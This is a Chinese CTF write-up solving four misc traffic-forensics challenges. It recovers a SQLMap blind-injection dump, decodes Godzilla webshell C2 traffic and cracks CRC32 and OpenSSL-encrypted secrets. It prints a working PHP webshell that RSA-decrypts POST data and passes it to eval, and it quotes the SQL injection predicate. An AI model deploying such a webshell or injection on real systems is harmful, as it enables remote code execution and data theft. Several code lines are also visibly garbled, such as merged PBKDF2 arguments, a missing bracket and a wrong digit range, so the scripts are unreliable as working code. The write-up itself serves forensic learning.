# 第九届西湖论剑·网络大赛(misc篇)部分

作者:玄网安全 发布:2026-08-22 13:37 收录:2026-09-21 08:44 2 次阅读 约 1579 字
摘要:第九届西湖论剑·网络大赛(misc篇)部分如果有错误,请大家提醒我MISC-02 - logbool附件:10
推荐理由:本文围绕「CTF」、「ZIP」、「DAS」等主题展开。

第九届西湖论剑·网络大赛(misc篇)部分

如果有错误,请大家提醒我

MISC-02 - logbool

附件:10735-MISC-02/.../MISC附件/logbool.pcapng

思路

流量是 SQLMap 的布尔盲注。将 TCP 按序号重组后,可看到请求谓词:

ORD(MID((SELECT IFNULL(CAST(content AS NCHAR),0x20)
FROM ctftest.ctfblob ORDER BY id LIMIT 0,1),pos,1))>threshold

服务器响应的 gzip 解压结果中,出现 success 为真,否则为假;于是按每个位置的二分判断还原数据库字段。结果为:

username = boolblob
password = timeemitloggol
content  = 526172211a070100... (RAR 的十六进制内容)

完整恢复 payload

对应源码

完整源码由 TCP 重组部分 inspect_misc02_http.py 和盲注恢复部分 solve_misc02_bool.py 组成;后者直接读取前者导出的 streams,执行后生成 E:\DasCTF\misc02_recovered.rar。核心恢复源码如下:

# 对每个 pos 二分 0..127,依据 gzip 响应是否有 success 判定:
pattern = re.compile(
    r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<field>[a-z_]+) AS NCHAR\),0x20\) "
    r"FROM (?P<table>[a-z0-9_.]+) ORDER BY id LIMIT (?P<row>\d+),1\),"
    r"(?P<position>\d+),1\)\)>(?P<threshold>\d+)", re.I)

# gzip 分块响应中有 success,即 SQL 谓词为真。
truth = b"success" in gzip.decompress(chunked_gzip_body)
values[(table, row, field)][position].append((threshold, truth))

# SQLMap 已对每个字符作二分查询;最大真阈值加一即该字符值。
value = max(threshold for threshold, truth in probes if truth) + 1
result.append(chr(value))

if table == "ctftest.ctfblob" and field == "content":
    Path("misc02_recovered.rar").write_bytes(bytes.fromhex("".join(result).rstrip("\x00")))
& 'C:\Program Files\Bandizip\bz.exe' x `
  'E:\DasCTF\misc02_recovered.rar' `
  '-p:timeemitloggol' -y

RAR 中的 flag.txt 内容:

DASCTF{33c12355cd508de6b9b3676b97ece17e}

MISC-03 - HK 的怪兽

附件:10744-MISC-03/.../MISC附件/HK的怪兽_inner/dasdas.pcapng

思路

  1. dasdas.pcapng 实际为 classic PCAP;先按 TCP 会话重组 HTTP。
  2. DVWA 上传的 1.pem 是 WinZip AES 文件;后续是 Godzilla C2。
  3. Godzilla 密钥为 9854e8aa5568e23c,解码规则是 Base64 后第 i 字节异或 key[(i+1)&15]。服务端流量外层为:
c51263bcf4299d83<Base64 数据>bdf048034d5da144
  1. 对解码结果按需 gzip 解压,取其中 hex 编码的 ZIP,得到 1.pem。ZIP 密码为 Pass1sHere
  2. 该 PEM 是 RSA 私钥。flag.zip 的 AES ZIP 密码就是 Godzilla 密钥 9854e8aa5568e23c;解出 512 字节 RSA 密文,再以 PKCS#1 v1.5 私钥解密。

完整 payload

对应源码

完整源码为 inspect_misc03_http.py、decode_misc03_shell.py 和端到端脚本 solve_misc03.py。以下是端到端脚本中的 C2 payload、WinZip AES 解密和 RSA 解密核心:

SHELL_KEY = b"9854e8aa5568e23c"
START = b"c51263bcf4299d83"
END = b"bdf048034d5da144"

def godzilla_xor(data):
    return bytes(v ^ SHELL_KEY[(i + 1) & 15for i, v in enumerate(data))

encoded = re.search(re.escape(START) + br"([A-Za-z0-9+/=]+)" + re.escape(END), stream).group(1)
plain = godzilla_xor(base64.b64decode(encoded))
if plain.startswith(b"\x1f\x8b"):
    plain = gzip.decompress(plain)

ZIP 部分使用 WinZip AES 规范:PBKDF2-HMAC-SHA1,1000 轮;以派生出的前半段为 AES-CTR key、后半段为 HMAC-SHA1 key,认证码取前 10 字节。随后:

private_key = RSA.import_key(aes_zip_read(pem_zip, b"Pass1sHere"))
rsa_ciphertext = aes_zip_read(flag_zip, b"9854e8aa5568e23c")
flag = PKCS1_v1_5.new(private_key).decrypt(rsa_ciphertext, b"decrypt failed")
# WinZip AES: salt || verifier || ciphertext || HMAC-SHA1[:10]
material = hashlib.pbkdf2_hmac("sha1", password, salt, 10002 * key_size + 2)
key = material[:key_size]
mac_key = material[key_size:2 * key_size]
expected_verifier = material[-2:]
assert verifier == expected_verifier
assert hmac.new(mac_key, ciphertext, hashlib.sha1).digest()[:10] == auth
plain_zip_entry = AES.new(
    key, AES.MODE_CTR,
    counter=Counter.new(128, initial_value=1, little_endian=True)
).decrypt(ciphertext)

Flag:

DASCTF{987787ad-5cf9-4909-b847-8dfb9d657988}

MISC-04 - 特殊流量

附件:10745-MISC-04/.../MISC附件/Traffic.pcapng

已验证的思路与 payload

服务端先发出 crc32。上传文件名 flag 的内容是 234 字节十六进制数据;之后依次上传:

pwd1.dat = 38ed5de6
pwd2.dat = b5186978
pwd3.dat = 82350eb0

按标准 IEEE CRC-32 反向枚举十位十进制字符串(中间相遇,不能直接把 CRC 当 DES/AES key)得到:

crc32 38ed5de6: 3313739406, 2257997516
crc32 b5186978: 5204333803, 4254977702
crc32 82350eb0: 1327605659, 6058526180, 5433630686

可运行 payload:crc32_numeric_preimages.py。核心反向步:

对应源码

完整 CRC32 中间相遇源码是 crc32_numeric_preimages.py;抓包提取源码是 inspect_misc04_pcap.py。其反向状态转移与相遇过程为:

POLY = 0xEDB88320
TABLE = []
for byte in range(256):
    value = byte
    for _ in range(8):
        value = (value >> 1) ^ (POLY if value & 1 else 0)
    TABLE.append(value)

def reverse(state, byte):
    index = BY_HIGH_BYTE[state >> 24][0]
    return ((state ^ TABLE[index]) << 8) | (index ^ byte)

def recover(target, length):
    # 前 half 从 0xffffffff 正向推进并存表;后 half 从目标状态反推。
    prefixes = {}
    for digits in product(range(4858), repeat=length // 2):
        state = 0xffffffff
        for byte in digits:
            state = (state >> 8) ^ TABLE[(state ^ byte) & 0xff]
        prefixes.setdefault(state, []).append(bytes(digits).decode())
    expected = target ^ 0xffffffff
    # 对后半段逐字节 reverse,命中同一中间 state 即得到原像。

文件尾部也已确定为:

offset 202..205: f97ea8cb
offset 206..213: 00000000000000a6  # 数值 166

MISC-06 - 特殊流量2

附件:10755-MISC-06/.../MISC附件/traffic2.pcapng

思路

  1. 导出 HTTP 下载的 www.zip,其中 my_rsa.php 先用 RSA openssl_public_decrypt 处理输入,再 eval($cmd),从而解释了后续 WebShell 流量。
  2. 解码 Godzilla 会话后得到攻击命令:
sed 's/[i7]/x/g' secret

回显的密钥模板:

xx34d619x1brxgd9mgd4xzxwxytv669w

x 只能替换为 i 或 7,一共 9 个位置,即只需要验证 512 个候选。

  1. 待解密数据为 OpenSSL enc 格式,Base64 解码后以 Salted__ 开头。使用 EVP_BytesToKey 的 MD5 派生 AES-256-CBC key/IV,PKCS#7 填充正确的唯一候选是:
i734d619i1brigd9mgd4xz7w7ytv669w

完整 payload

对应源码

原始下载源码为 my_rsa.php;抓包与 RSA 分块还原源码为 inspect_misc06_http.py 和 decode_misc06_shell.py。附件中的核心 PHP 源码如下:

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB

-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
    if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
        $cmd .= $de;
    }
}
foreach ($_POST as $k => $v) {
    if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
        $_POST[$k] = $de;
    }
}
eval($cmd);

从流量还原的执行 payload:

sed 's/[i7]/x/g' secret
from base64 import b64decode
from hashlib import md5
from itertools import product
from Crypto.Cipher import AES

template = "xx34d619x1brxgd9mgd4xzxwxytv669w"
cipher_b64 = "U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g=="
blob = b64decode(cipher_b64)
salt, ciphertext = blob[8:16], blob[16:]

def evp(password):
    out = block = b""
    while len(out) < 48:
        block = md5(block + password.encode() + salt).digest()
        out += block
    return out[:32], out[32:48]

for choice in product("i7", repeat=template.count("x")):
    it = iter(choice)
    password = "".join(next(it) if ch == "x" else ch for ch in template)
    key, iv = evp(password)
    value = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
    n = value[-1]
    if 1 <= n <= 16 and value[-n:] == bytes([n]) * n:
        print(password, value[:-n].decode())

解密结果是 NATO 拼读字母:

Delta Alpha Sierra Charlie Tango Foxtrot Three Foxtrot Delta Three Four Bravo Five Nine Dash Four Echo Nine Delta Dash Four Three Nine Zero Dash Nine Two Seven Bravo Dash One Three Four Six Delta Five Three Six Four Delta Nine Nine

还原 Flag:

DASCTF{3FD34B59-4E9D-4390-927B-1346D5364D99}

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《# 第九届西湖论剑·网络大赛(misc篇)部分》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。